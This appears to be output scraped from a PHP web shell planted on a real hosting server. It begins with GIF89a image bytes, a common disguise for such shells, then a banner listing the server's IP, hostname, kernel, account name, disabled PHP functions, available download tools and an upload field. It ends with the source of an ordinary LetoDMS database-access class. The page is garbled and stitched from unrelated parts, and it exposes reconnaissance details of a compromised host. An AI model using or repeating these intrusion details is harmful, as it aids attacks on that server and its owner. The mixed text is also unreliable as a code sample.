GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.218.94.236 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /var/softaculous/leto/ |
Upload File : |
<?php /** * Implementation of database access * * @category DMS * @package LetoDMS_Core * @license GPL 2 * @version @version@ * @author Uwe Steinmann <uwe@steinmann.cx> * @copyright Copyright (C) 2002-2005 Markus Westphal, 2006-2008 Malcolm Cowe, * 2010 Matteo Lucarelli, 2010 Uwe Steinmann * @version Release: @package_version@ */ /** * Include the adodb database abstraction */ require_once "[[softpath]]/adodb/adodb.inc.php"; /** @noinspection PhpUndefinedClassInspection */ /** * Class to represent the database access for the document management * * @category DMS * @package LetoDMS_Core * @author Markus Westphal, Malcolm Cowe, Matteo Lucarelli, Uwe Steinmann <uwe@steinmann.cx> * @copyright Copyright (C) 2002-2005 Markus Westphal, 2006-2008 Malcolm Cowe, 2010 Matteo Lucarelli, 2010 Uwe Steinmann * @version Release: @package_version@ */ class LetoDMS_Core_DatabaseAccess { var $_debug; var $_driver; var $_hostname; var $_database; var $_user; var $_passw; var $_conn; var $_connected; var $_ttreviewid; var $_ttapproveid; var $_ttstatid; var $_ttcontentid; var $_intransaction; /* Backup functions */ /** * Return list of all database tables * * This function is used to retrieve a list of database tables for backup * * @return array list of table names */ function TableList() { return $this->_conn->MetaTables("TABLES"); } /** * Constructor of LetoDMS_Core_DatabaseAccess * * Sets all database parameters but does not connect. * * @param string $driver the database type e.g. mysql, sqlite * @param string $hostname host of database server * @param string $user name of user having access to database * @param string $passw password of user * @param bool|string $database name of database */ function __construct($driver, $hostname, $user, $passw, $database = false) { $this->_driver = $driver; $this->_hostname = $hostname; $this->_database = $database; $this->_user = $user; $this->_passw = $passw; $this->_connected = false; $this->_intransaction = 0; // $tt*****id is a hack to ensure that we do not try to create the // temporary table twice during a single connection. Can be fixed by // using Views (MySQL 5.0 onward) instead of temporary tables. // CREATE ... IF NOT EXISTS cannot be used because it has the // unpleasant side-effect of performing the insert again even if the // table already exists. // // See createTemporaryTable() method for implementation. $this->_ttreviewid = false; $this->_ttapproveid = false; $this->_ttstatid = false; $this->_ttcontentid = false; $this->_debug = false; } /** * Connect to database * * @return boolean true if connection could be established, otherwise false */ function connect() { /* {{{ */ $this->_conn = ADONewConnection($this->_driver); if ($this->_database) $this->_conn->Connect($this->_hostname, $this->_user, $this->_passw, $this->_database); else $this->_conn->Connect($this->_hostname, $this->_user, $this->_passw); if (!$this->_conn) return false; $this->_conn->SetFetchMode(ADODB_FETCH_ASSOC); $this->_conn->Execute('SET NAMES utf8'); $this->_connected = true; return true; } /* }}} */ /** * Make sure a database connection exisits * * This function checks for a database connection. If it does not exists * it will reconnect. * * @return boolean true if connection is established, otherwise false */ function ensureConnected() { /* {{{ */ if (!$this->_connected) return $this->connect(); else return true; } /* }}} */ /** * Sanitize String used in database operations * * @param string $text * @return string sanitized string */ function qstr($text) { /* {{{ */ return $this->_conn->qstr($text); } /* }}} */ /** * Execute SQL query and return result * * Call this function only with sql query which return data records. * * @param string $queryStr sql query * @return array|boolean data if query could be executed otherwise false */ function getResultArray($queryStr) { /* {{{ */ /** @noinspection PhpUnusedLocalVariableInspection */ $resArr = array(); $res = $this->_conn->Execute($queryStr); if (!$res) { if($this->_debug) echo "error: ".$queryStr."<br />"; return false; } $resArr = $res->GetArray(); $res->Close(); return $resArr; } /* }}} */ /** * Execute SQL query * * Call this function only with sql query which do not return data records. * * @param string $queryStr sql query * @return bool true if query could be executed otherwise false * @internal param bool $silent not used anymore. This was used when this method * still issued an error message */ function getResult($queryStr) { /* {{{ */ $res = $this->_conn->Execute($queryStr); if(!$res) { if($this->_debug) echo "error: ".$queryStr."<br />"; } return $res; } /* }}} */ /** * Return the id of the last instert record * * @return integer id used in last autoincrement */ function getInsertID() { /* {{{ */ return $this->_conn->Insert_ID(); } /* }}} */ function startTransaction() { /* {{{ */ if(!$this->_intransaction) { $this->_conn->BeginTrans(); } $this->_intransaction++; } /* }}} */ function rollbackTransaction() { /* {{{ */ if($this->_intransaction == 1) { $this->_conn->RollbackTrans(); } $this->_intransaction--; } /* }}} */ function commitTransaction() { /* {{{ */ if($this->_intransaction == 1) { $this->_conn->CommitTrans(); } $this->_intransaction--; } /* }}} */ function getErrorMsg() { /* {{{ */ return $this->_conn->ErrorMsg(); } /* }}} */ function getErrorNo() { /* {{{ */ return $this->_conn->ErrorNo(); } /* }}} */ /** * Create various temporary tables to speed up and simplify sql queries * @param $tableName * @param bool $override * @return bool */ function createTemporaryTable($tableName, $override=false) { /* {{{ */ if (!strcasecmp($tableName, "ttreviewid")) { $queryStr = "CREATE TEMPORARY TABLE IF NOT EXISTS `ttreviewid` (PRIMARY KEY (`reviewID`), INDEX (`maxLogID`)) ". "SELECT `tblDocumentReviewLog`.`reviewID`, ". "MAX(`tblDocumentReviewLog`.`reviewLogID`) AS `maxLogID` ". "FROM `tblDocumentReviewLog` ". "GROUP BY `tblDocumentReviewLog`.`reviewID` ". "ORDER BY `tblDocumentReviewLog`.`reviewLogID`"; if (!$this->_ttreviewid) { if (!$this->getResult($queryStr)) return false; $this->_ttreviewid=true; } else { if (is_bool($override) && $override) { if (!$this->getResult("DELETE FROM `ttreviewid`")) return false; if (!$this->getResult($queryStr)) return false; } } return $this->_ttreviewid; } else if (!strcasecmp($tableName, "ttapproveid")) { $queryStr = "CREATE TEMPORARY TABLE IF NOT EXISTS `ttapproveid` (PRIMARY KEY (`approveID`), INDEX (`maxLogID`)) ". "SELECT `tblDocumentApproveLog`.`approveID`, ". "MAX(`tblDocumentApproveLog`.`approveLogID`) AS `maxLogID` ". "FROM `tblDocumentApproveLog` ". "GROUP BY `tblDocumentApproveLog`.`approveID` ". "ORDER BY `tblDocumentApproveLog`.`approveLogID`"; if (!$this->_ttapproveid) { if (!$this->getResult($queryStr)) return false; $this->_ttapproveid=true; } else { if (is_bool($override) && $override) { if (!$this->getResult("DELETE FROM `ttapproveid`")) return false; if (!$this->getResult($queryStr)) return false; } } return $this->_ttapproveid; } else if (!strcasecmp($tableName, "ttstatid")) { $queryStr = "CREATE TEMPORARY TABLE IF NOT EXISTS `ttstatid` (PRIMARY KEY (`statusID`), INDEX (`maxLogID`)) ". "SELECT `tblDocumentStatusLog`.`statusID`, ". "MAX(`tblDocumentStatusLog`.`statusLogID`) AS `maxLogID` ". "FROM `tblDocumentStatusLog` ". "GROUP BY `tblDocumentStatusLog`.`statusID` ". "ORDER BY `tblDocumentStatusLog`.`statusLogID`"; if (!$this->_ttstatid) { if (!$this->getResult($queryStr)) return false; $this->_ttstatid=true; } else { if (is_bool($override) && $override) { if (!$this->getResult("DELETE FROM `ttstatid`")) return false; if (!$this->getResult($queryStr)) return false; } } return $this->_ttstatid; } else if (!strcasecmp($tableName, "ttcontentid")) { $queryStr = "CREATE TEMPORARY TABLE `ttcontentid` (PRIMARY KEY (`document`), INDEX (`maxVersion`)) ". "SELECT `tblDocumentContent`.`document`, ". "MAX(`tblDocumentContent`.`version`) AS `maxVersion` ". "FROM `tblDocumentContent` ". "GROUP BY `tblDocumentContent`.`document` ". "ORDER BY `tblDocumentContent`.`document`"; if (!$this->_ttcontentid) { if (!$this->getResult($queryStr)) return false; $this->_ttcontentid=true; } else { if (is_bool($override) && $override) { if (!$this->getResult("DELETE FROM `ttcontentid`")) return false; if (!$this->getResult($queryStr)) return false; } } return $this->_ttcontentid; } return false; } /* }}} */ }